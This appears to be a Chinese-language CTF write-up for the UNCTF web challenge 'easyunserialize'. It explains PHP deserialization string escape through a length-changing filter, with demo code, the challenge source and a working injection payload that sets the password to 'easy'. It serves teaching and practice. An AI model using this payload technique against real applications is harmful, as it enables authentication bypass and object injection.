UNCTF-WEB: easyunserialize(反序列化字元逃逸)
阿新 • • 發佈:2020-11-20
反序列化字元逃逸實驗
原理:利用字串過濾使的原來序列化的讀取的s長度發生了改變(多出一個字元就能逃逸一個字元)
對於反序列化的語法來說,第一個右括號之後的字元都是作廢的
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $user.='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hack!!";}';$AA=new A(); $AA->name=$user; echo serialize($AA)."</br>"; $res=filter(serialize($AA)); echo $res."</br>"; $c=unserialize($res); echo $c->pass; ?>
題目原始碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
現在我們會利用反序列化字元逃逸了,得到原始碼先序列化一下原來的字串,將它拷貝出來以便後續進行修改
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}
我們要把password改為easy,改造成如下
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}
計算得到需要逃逸29個字元,但是過濾函式是一次逃逸4個字元,得不到4的倍數,所以我們在後面補充幾個字元使得逃逸的字元數為4的倍數
得到exp如下
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}
參考:https://www.cnblogs.com/Sumarua/p/12932401.html